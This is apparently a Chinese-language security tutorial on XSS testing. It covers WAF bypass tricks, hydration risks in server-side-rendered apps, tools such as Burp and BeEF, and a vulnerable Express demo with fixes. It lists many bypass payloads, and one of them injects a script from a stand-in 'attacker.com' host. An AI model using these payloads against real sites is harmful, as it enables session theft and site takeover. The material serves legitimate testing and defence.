XSS攻防实战:WAF绕过技巧与SSR架构下的安全挑战 📅 2026/6/28 21:18:37 1. 项目概述从“绕过”到“神器”的实战视角最近在跟几个做安全测试的朋友聊天话题总绕不开一个老生常谈但又历久弥新的东西XSS跨站脚本攻击。大家普遍的感觉是现在稍微有点规模的网站前端都或多或少套了层WAFWeb应用防火墙以前那些教科书式的弹窗Payload一打过去就被拦截了测试起来束手束脚。更有意思的是很多朋友在尝试自己搭建一些个人项目比如用Next.js、Nuxt.js这类服务端渲染SSR框架时会不自觉地引入新的XSS风险点或者对如何有效防护感到迷茫。所以今天我想从一个实战者的角度聊聊如何系统性地思考XSS的WAF绕过以及在现代SSR架构下我们手头有哪些堪称“神器”的思路和工具来更高效地发现和验证这类漏洞。这不仅仅是几个Payload的堆砌更是一种对抗思路和工程化方法的探讨。2. XSS与WAF一场动态的攻防博弈2.1 为什么WAF让传统XSS测试“失灵”WAF本质上是一套规则引擎它工作在HTTP请求到达应用服务器之前通过预定义的规则集正则表达式、语义分析、行为模型等对请求内容进行扫描和过滤。对于XSSWAF的规则库通常会包含大量已知的危险字符串、标签、事件和JavaScript函数。举个例子一个最简单的反射型XSS Payload可能是scriptalert(1)/script。任何一款成熟的WAF都会毫不犹豫地拦截它。WAF的规则可能匹配script标签、alert(函数调用或者两者组合的模式。它的优势在于部署快速、能防护已知的、模式化的攻击。但它的“阿喀琉斯之踵”也在于此规则是静态的而攻击者的思维是动态的。注意WAF不是银弹。它是对抗大规模自动化扫描和已知攻击模式的有效手段但绝不能替代安全的编码实践。将安全完全寄托于WAF就像只给大门上锁却留着窗户敞开。2.2 WAF绕过的核心思路混淆与变异绕过WAF的核心在于让你的恶意Payload“看起来”不像恶意Payload。这就像特工执行任务需要伪装一样。我们主要从以下几个维度进行混淆大小写与字符编码混淆这是最基础的。大小写混合ScRiPtalert(1)/sCrIpT。有些简单的正则规则可能只匹配全小写。HTML实体编码将特殊字符转换为实体。例如变成lt;变成gt;。但关键在于如果应用在输出时没有正确解码或者WAF解码逻辑与后端不一致就可能绕过。例如lt;scriptgt;alert(1)lt;/scriptgt;。URL编码%3Cscript%3Ealert(1)%3C/script%3E。适用于出现在URL参数中的Payload。Unicode、十六进制、八进制编码例如可以表示为\u003c(Unicode)\x3c(十六进制)\74(八进制)。在JavaScript上下文中可能有效。标签与属性变异非常规标签/属性WAF的规则库可能专注于script、img onerror等常见组合。可以尝试使用一些生僻的、但同样能执行JavaScript的HTML标签或事件。例如svg onloadalert(1)details open ontogglealert(1)body onloadalert(1)(如果可控点位于body标签内)标签属性分割利用空格、换行符、制表符或其它空白字符来分割属性干扰正则匹配。例如img srcx onerror\r\n\nalert(1)。无尖括号的Payload在某些上下文如HTML属性值、JavaScript字符串中可能不需要闭合标签。例如在输入点出现在input value“USER_INPUT”时可以构造“ onmouseover“alert(1)最终形成input value“” onmouseover“alert(1)“。JavaScript上下文绕过 当可控点出现在script.../script标签内部时绕过的重点在于如何在不使用被禁关键词的情况下执行代码。字符串拼接window[‘al’’ert’](1)。使用eval、setTimeout、Function构造函数eval(‘al’’ert(1)’)setTimeout(‘alert\x281\x29’)Function(‘alert\x281\x29’)()。利用JavaScript内置对象/原型链有时可以通过访问top、parent、self对象或者通过location、document对象的方法间接执行。反引号模板字符串执行在支持ES6的环境下alert1这种形式也可以执行alert注意这是标签函数调用并非所有情况都弹窗。利用解析差异 浏览器HTML解析器的“容错”能力有时会成为突破口而WAF的解析逻辑可能更严格。多余字符插入在标签名或属性名中插入无效字符浏览器可能会忽略它们。例如script/xalert(1)/scriptscriptalert(1)/script x。未闭合标签在某些特定上下文下浏览器会尝试“修复”HTML结构可能使得不完整的Payload得以执行。2.3 实战中的组合拳与模糊测试在实际测试中单一技巧往往难以奏效。我们需要将上述方法组合使用并采用模糊测试Fuzzing的思路。例如一个基础的Payload是img srcx onerroralert(1)。 我们可以对其进行多重混淆标签名混淆IMg srcx onerroralert(1)事件处理器混淆img srcx onerror“alert(1)”(加引号)事件名混淆img srcx onerror“alert1”(使用反引号)函数名混淆img srcx onerror“window[‘al’’ert’](1)”编码混淆将整个alert(1)进行Base64编码然后通过atob()解码执行img srcx onerroreval(atob(‘YWxlcnQoMSk’))这个过程可以借助工具自动化生成大量变种然后批量发送测试观察哪些变种未被WAF拦截且被浏览器成功执行。3. SSR架构下的XSS新旧风险的交汇点3.1 SSR如何改变了XSS的攻防面服务端渲染SSR意味着页面的HTML是在服务器端动态生成的然后发送给客户端。这与传统的客户端渲染CSR或完全静态的页面有显著不同也带来了独特的XSS考量传统反射型/存储型XSS依然存在如果用户输入未经充分净化就直接拼接到服务器端生成的HTML字符串中漏洞就会产生。这与非SSR应用无异。Hydration水合过程的风险这是SSR特有的风险点。服务器会渲染出初始HTML同时会将相关的JavaScript状态如Vue组件的data、React的props内联到页面中通常在一个script标签内如window.__INITIAL_STATE__ {...}。如果这些内联的状态数据包含了未经净化的用户输入并且在客户端Hydration过程中被直接使用就可能触发DOM型XSS。因为此时攻击载荷已经随着HTML到达了客户端绕过了浏览器原生对innerHTML等API的部分安全限制如自动执行的script标签不会执行但通过eval或new Function解析状态数据时可能触发。服务端模板注入SSTI与XSS的界限模糊在一些SSR框架中如果允许用户控制模板的部分内容可能造成更严重的服务端代码执行SSTI。但某些SSTI的输出结果就是HTML最终在浏览器端表现为XSS。3.2 SSR场景下的XSS Payload构造技巧在SSR环境下我们需要关注数据流动的整个链条服务器端数据获取 - 数据嵌入HTML/状态 - 客户端Hydration/渲染。探测数据嵌入点寻找所有用户输入在最终HTML页面中出现的位置。不仅是可见文本更要关注script标签内的JSON数据、HTML标签的属性如># 一个简单的示例生成针对JSON内联的测试Payload base_input “user_input” payloads [] # 尝试闭合字符串和对象 payloads.append(f‘“}});alert(1);//’) payloads.append(f‘\\“}});alert(1);//’) # 转义引号 # 尝试Unicode编码 payloads.append(f‘\\u0022}});alert(1);//’) for p in payloads: print(f‘Testing: {p}’) # 这里可以集成requests库发送请求4.2 代理与流量分析平台Burp Suite Professional无疑是Web安全测试的瑞士军刀。在XSS测试中它的以下功能不可或缺Repeater手动修改和重放请求精细观察输入与输出是理解应用逻辑和WAF行为的关键。Intruder进行模糊测试。将Payload列表加载到攻击位置自动化发送并观察响应。可以设置Grep规则来自动标记包含“alert”、“xss”等关键词的响应。ScannerBurp的主动扫描引擎也能检测XSS但对于有WAF或复杂上下文的目标其检出率可能有限需要配合手动测试。Collaborator用于检测盲XSSBlind XSS。当你怀疑存在存储型XSS但无法立即看到回显时可以插入一个指向Burp Collaborator服务器域名的Payload如img srchttp://your-collaborator.burp。如果漏洞存在目标服务器在渲染页面时会尝试加载这个图片从而向Collaborator发起请求让你收到通知。Browser Exploitation Framework (BeEF)这是一个专注于客户端攻击的框架。当你成功注入一个XSS Hook一段特殊的JavaScript代码后BeEF可以让你与受害者的浏览器进行交互形成一个持久的控制通道。这对于演示XSS的危害性如窃取Cookie、发起内部网络请求、键盘记录等非常有说服力。在SSR场景下如果注入点发生在Hydration后的客户端代码中BeEF的Hook同样有效。4.3 辅助分析与验证工具浏览器开发者工具Sources / 调试器设置断点跟踪你的输入数据在客户端JavaScript中的流动过程尤其是在Hydration和后续渲染阶段。这是理解SSR应用数据流和寻找漏洞点的最佳方式。Console执行JavaScript代码测试Payload的有效性或者手动触发某些事件。Network观察所有HTTP请求特别是检查服务器返回的HTML源码确认你的输入被如何编码和放置。查看响应头中的CSP策略。Postman / cURL用于快速测试API接口。在SSR应用中很多数据是通过API获取的。测试这些API端点是否存在注入点参数污染、JSON注入等这些注入点可能最终导致客户端XSS。5. 从理论到实践一个模拟SSR场景的测试案例假设我们有一个简单的模拟SSR应用基于Node.js Express 一个简单的模板它有一个用户评论功能评论内容会通过服务器端渲染显示在页面上同时也会内联到页面中的一个JavaScript变量里供客户端“互动功能”使用。后端有漏洞的代码片段// 服务器端路由 app.get(‘/post/:id’, (req, res) { const postId req.params.id; // 模拟从数据库获取评论这里包含用户输入的恶意评论 const comments [ { id: 1, user: ‘Alice’, text: req.query.maliciousComment || ‘Nice post!’ } // 恶意输入通过URL参数传入 ]; // 有漏洞的模板渲染未对comments进行HTML转义 const html html body h1Post ${postId}/h1 div id“comments” ${comments.map(c div class“comment”${c.text}/div).join(‘’)} /div script // 有漏洞的数据内联未对用户输入进行JSON序列化转义 window.initialData { comments: ${JSON.stringify(comments)} // 注意这里comments里的text属性可能包含破坏JSON结构的字符 }; /script script src“/client.js”/script /body /html ; res.send(html); });测试步骤探测与确认漏洞访问http://localhost:3000/post/1?maliciousCommentimg srcx onerroralert(‘HTML’)观察页面如果弹窗显示‘HTML’说明存在服务端HTML上下文XSS。查看网页源码会发现img ...被直接插入到了div class“comment”中。访问http://localhost:3000/post/1?maliciousComment“};alert(‘JS’);//观察页面如果弹窗显示‘JS’说明存在JavaScript上下文内联JSONXSS。查看网页源码会发现JSON被破坏window.initialData { comments: [{…, text: “”};alert(‘JS’);//“}] };。绕过可能的简单过滤假设应用开始过滤script和alert。我们可以尝试HTML上下文绕过svg/onloadconfirm1。使用SVG标签和confirm函数。JS上下文绕过“};top[‘al’’ert’](1);//。使用字符串拼接和top对象。利用漏洞链即使HTML上下文被转义比如被转成lt;但JS上下文漏洞可能依然存在。我们可以通过JS漏洞来动态创建HTML元素执行更复杂的攻击。构造Payload“};const sdocument.createElement(‘script’);s.src‘http://attacker.com/evil.js’;document.body.appendChild(s);//这个Payload会闭合JSON然后在受害者页面中插入一个外部脚本标签加载攻击者控制的恶意脚本危害更大。防御修复修复HTML上下文漏洞在服务器端模板渲染前对c.text进行HTML实体编码。可以使用lodash.escape或类似的库。修复JS上下文漏洞我们已经使用了JSON.stringify这通常是安全的。但关键在于整个comments数组被JSON.stringify序列化成了一个字符串这个字符串作为整体被嵌入到script标签中。用户输入的破坏性字符如引号、换行符会在JSON字符串内部被正确转义\”,\n而不会破坏外部的JavaScript语法结构。这是正确的做法。漏洞示例中我们模拟的是没有正确进行这个序列化过程的情况。6. 常见问题、排查与高级技巧6.1 为什么我的Payload在本地浏览器测试成功但打目标没用WAF拦截这是最常见的原因。使用工具如XSStrike或手动模糊测试来生成绕过变种。内容安全策略CSP检查响应头中的Content-Security-Policy。如果禁止了内联脚本‘unsafe-inline’或限制了脚本来源你的Payload可能被浏览器阻止执行。查看浏览器控制台是否有CSP违规报告。输入长度或字符限制应用可能在前端或后端对输入进行了截断或过滤了某些特殊字符。输出位置不当你的输入可能被放到了textarea、title、style标签内或者属性值被单/双引号严格包裹导致无法跳出当前上下文。需要仔细分析输出点的上下文环境。动态JavaScript框架干扰在Vue/React等框架中直接操作DOM可能被框架的虚拟DOM机制覆盖或清理。需要寻找框架特定的注入点如v-html、dangerouslySetInnerHTML或未受保护的props。6.2 如何高效地发现SSR应用中的XSS点黑盒扫描结合手动验证使用自动化工具如Burp Scanner、Acunetix进行初步爬取和扫描但所有中高风险的XSS告警都必须手动验证。自动化工具对SSR和复杂JavaScript应用的支持有限。代码审计白盒/灰盒如果有可能直接审查服务器端渲染的模板文件如.ejs.pug.vue的templateSSR部分和数据处理逻辑。寻找将用户输入直接拼接进HTML字符串或JSON.stringify之前未经验证/净化的地方。关注数据流在浏览器开发者工具中追踪一个用户输入从网络请求到最终呈现在页面上的完整路径。特别关注API响应中的数据。内联在script标签中的JSON数据。通过>